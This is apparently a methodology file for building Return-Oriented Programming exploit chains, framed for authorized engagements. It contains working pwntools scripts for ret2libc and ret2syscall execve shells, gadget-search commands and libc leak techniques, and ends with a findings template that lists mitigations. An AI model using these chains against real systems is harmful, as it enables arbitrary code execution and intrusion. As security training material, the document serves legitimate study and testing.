name: performing-return-oriented-programming description: Methodology for building Return-Oriented Programming (ROP) chains to bypass NX/DEP by reusing existing code gadgets, covering gadget discovery, calling-convention argument setup, ret2libc, ret2syscall (execve), one_gadget, stack alignment, JOP, and stack pivoting across x86/x64/ARM64 during authorized engagements. domain: cybersecurity subdomain: binary-exploitation tags:
- binary-exploitation
- return-oriented-programming
- exploit-development version: '1.0' author: xalgorix license: Apache-2.0
Performing Return-Oriented Programming
When to Use
- During authorized exploitation when you control the saved return address (via stack overflow, write-what-where, etc.) but NX/DEP prevents executing injected shellcode on the stack.
- When you need to call an existing function (
system,execve,mprotect) or invoke a syscall with attacker-chosen arguments by chaining small...; retgadgets. - When choosing between ret2libc (call a libc function), ret2syscall (raw
sys_execve, common in static binaries), ret2dlresolve, SROP (when gadgets are scarce), or stack pivoting (off-by-one / short overflows). - On ARM64 targets where
retjumps tox30and instructions cannot be entered mid-instruction, requiring JOP or pivot-based approaches.
Critical: Concepts/Steps Most Often Missed
- 16-byte stack alignment on x86-64. The SysV ABI requires
RSPbe 16-byte aligned at acall. libc functions use SSE (movaps) and willSIGSEGVif misaligned. Ifsystem()crashes inside libc, insert a bareretgadget before it to realign. This is the single most common reason a "correct" chain crashes. - Argument passing differs by arch/ABI. x86 cdecl pushes args on the stack (right-to-left); x86-64 SysV uses
RDI, RSI, RDX, RCX, R8, R9; Windows x64 usesRCX, RDX, R8, R9. You needpop rdi; ret-style gadgets to load registers, not just stack values. - The function needs a return slot. After
systemyou must place a return address (e.g.exit) or the chain crashes onsystem's own return. CTFs often get away with garbage, real targets do not. - ARM64 entry-point pitfall. When jumping to a function via ROP on ARM64, jump to the function's second instruction to avoid re-storing the stack pointer and looping forever.
- NUL bytes and bad chars in gadget addresses. A
pop rdi; retgadget at0x400686is fine, but addresses with NULs break string-copy overflows. Pick alternate gadgets or use ret2dlresolve/SROP.
How to CONFIRM
Confirm gadget control in gdb: set a breakpoint at the ret of the vulnerable function, single-step into the first
gadget, and verify each register holds the intended value (p $rdi, p $rsi) before the call/syscall. Confirm the
final primitive by observing the spawned shell (p.interactive() yields an interactive $) or, for mprotect, by
checking the target page is now rwx in vmmap. A chain that returns cleanly but spawns nothing usually means an
alignment or argument-register error, not a missing gadget.
Workflow
Step 1: Profile the Binary and Find Gadgets
pwn checksec ./vuln # NX on (need ROP), PIE/RELRO/canary status drives the plan
# Enumerate gadgets
ROPgadget --binary ./vuln | grep -E "pop (rdi|rsi|rdx|rax) ; ret"
ropper --file ./vuln --search "pop rdi"
ROPgadget --binary ./vuln | grep ": ret$" # alignment gadget
from pwn import *
context.binary = elf = ELF('./vuln')
rop = ROP(elf) # pwntools gadget finder
log.info("pop rdi @ %#x", rop.find_gadget(['pop rdi', 'ret'])[0])
Step 2: ret2libc — Call system("/bin/sh")
from pwn import *
context.binary = elf = ELF('./vuln')
libc = elf.libc # or ELF('./libc.so.6')
offset = 72 # confirmed overflow offset
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # alignment
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
payload = b'A'*offset
payload += p64(ret) # 16-byte alignment fix
payload += p64(pop_rdi) + p64(binsh) # RDI = "/bin/sh"
payload += p64(system) # call system
payload += p64(elf.symbols.get('exit', 0)) # clean return slot
When the libc base is unknown/remote, first leak it (e.g. ROP-call puts(puts@got) to leak puts's runtime address),
identify the version at libc.blukat.me, then set libc.address = leak - libc.symbols['puts'].
Step 3: ret2syscall — Raw execve (static binaries)
# Target syscall config (x86-64): rax=59, rdi=&"/bin/sh", rsi=0, rdx=0
popRax, popRdi, popRsi, popRdx = p64(0x415664), p64(0x400686), p64(0x4101f3), p64(0x4498b5)
writeGadget = p64(0x48d251) # mov qword ptr [rax], rdx ; ret
syscall = p64(0x40129c)
writable = 0x6b6000 # rw- page from `gef> vmmap`
rop = popRdx + b"/bin/sh\x00" + popRax + p64(writable) + writeGadget # plant string
rop += popRax + p64(0x3b) # rax = 59 (execve)
rop += popRdi + p64(writable) # rdi = &"/bin/sh"
rop += popRsi + p64(0) + popRdx + p64(0) # rsi=rdx=0
rop += syscall
payload = b'0'*0x408 + rop
ROPgadget --binary vuln --ropchain auto-generates such a chain. If gadgets are scarce, use SROP to set every register
from a forged sigcontext frame.
Step 4: Handle Alignment, one_gadget, and Re-use
# After leaking libc, a single-shot shell gadget avoids argument setup
one_gadget ./libc.so.6 # prints constraints (e.g. [rsp+0x40]==NULL) — satisfy them
# Make the bug reusable: return to main() / the vuln to leak then exploit in two passes
payload += p64(elf.symbols['main'])
For JOP (ARM64 / no ret gadgets), chain gadgets ending in br xN. For off-by-one or tiny overflows, pivot the stack
(mov sp, x0-style or leave; ret) into a controlled buffer holding the full chain.
Key Concepts
| Concept | Description |
|---|---|
| Gadget | A short instruction sequence ending in ret (ROP) or br/jmp (JOP), reused as a building block. |
| ret2libc | Redirect execution to a library function (e.g. system) with crafted arguments instead of shellcode. |
| ret2syscall | Set up registers and invoke a raw syscall (e.g. execve); common in static binaries with many gadgets. |
| Calling convention | x86 cdecl (stack args), x86-64 SysV (RDI/RSI/RDX/RCX/R8/R9), Windows x64 (RCX/RDX/R8/R9). |
| Stack alignment | x86-64 requires RSP 16-byte aligned at a call; fix with an extra ret gadget. |
| one_gadget | A single libc address that execs /bin/sh if certain register/memory constraints hold. |
| SROP | Sigreturn-Oriented Programming: forge a sigcontext to load all registers at once when gadgets are scarce. |
| Stack pivoting | Redirect RSP/SP to a controlled region (heap/buffer) to run a chain that didn't fit in the overflow. |
| JOP | Jump-Oriented Programming: gadgets end in indirect jumps; used on ARM where ret is uncommon. |
Tools & Systems
| Tool | Purpose |
|---|---|
| ROPgadget | Find gadgets, search by pattern, auto-build execve chains (--ropchain). |
| ropper | Alternative gadget finder; works on .so/.dylib, semantic search (e.g. --search "mov x0"). |
| pwntools | ROP, ELF, find_gadget, fit, p64, libc.search, process/remote IO; full exploit scripting. |
| gdb + pwndbg/GEF | Step through the chain, verify registers before calls, vmmap for writable pages, find "/bin/sh". |
| one_gadget | Locate single-shot shell gadgets in libc after a leak. |
| checksec | Confirm NX (necessitates ROP), PIE, RELRO, canary. |
| lldb / dyld-shared-cache-extractor | iOS/macOS: list loaded images and extract libraries to mine gadgets. |
Common Scenarios
Scenario 1: NX-enabled CTF, known libc
Overflow with offset 72; chain ret (align) -> pop rdi; ret -> &/bin/sh -> system. The alignment ret is the
difference between a shell and a crash inside movaps.
Scenario 2: Remote, unknown libc
ROP-call puts(puts@got) to leak the runtime address of puts, fingerprint the libc version online, rebase, then send
a second-stage chain calling system("/bin/sh") or a one_gadget.
Scenario 3: Statically linked binary
No libc to call, but abundant gadgets. Plant /bin/sh in a writable .data/.bss page with a write-what-where gadget,
set rax=59, args, and syscall to execve.
Scenario 4: ARM64 with NX
No useful ret gadgets; use JOP gadgets ending in br x2 loaded from a controlled heap object, or a stack pivot
(mov sp, x0; ... ret) to relocate the stack onto the controlled buffer, then run an mprotect+shellcode chain.
Output Format
## ROP Exploitation Finding
**Vulnerability**: Stack overflow exploited via Return-Oriented Programming (CWE-121 + CWE-787)
**Severity**: Critical (arbitrary code execution, bypasses NX/DEP)
**Binary**: ./vuln (x86-64, NX enabled, No PIE, No canary)
### Control & Chain
- Overflow offset to saved RIP: 72
- Gadgets: ret @0x40101a, pop rdi;ret @0x401213
- Path: ret2libc -> system("/bin/sh") with exit() return slot
- Alignment: extra `ret` inserted to satisfy 16-byte ABI alignment
### Proof
Chain executed system("/bin/sh"); obtained interactive shell as service user (id: uid=1000).
### Impact
Full arbitrary code execution despite non-executable stack.
### Recommendation
1. Eliminate the underlying memory-corruption bug (bounded copies, input validation).
2. Enable Full RELRO, PIE/ASLR, and stack canaries to raise the cost of gadget reuse.
3. Adopt CET/shadow-stack (Intel) or PAC/BTI (ARM) where available to break ROP/JOP.
4. Minimize statically linked, gadget-rich binaries; keep libc/ASLR entropy high.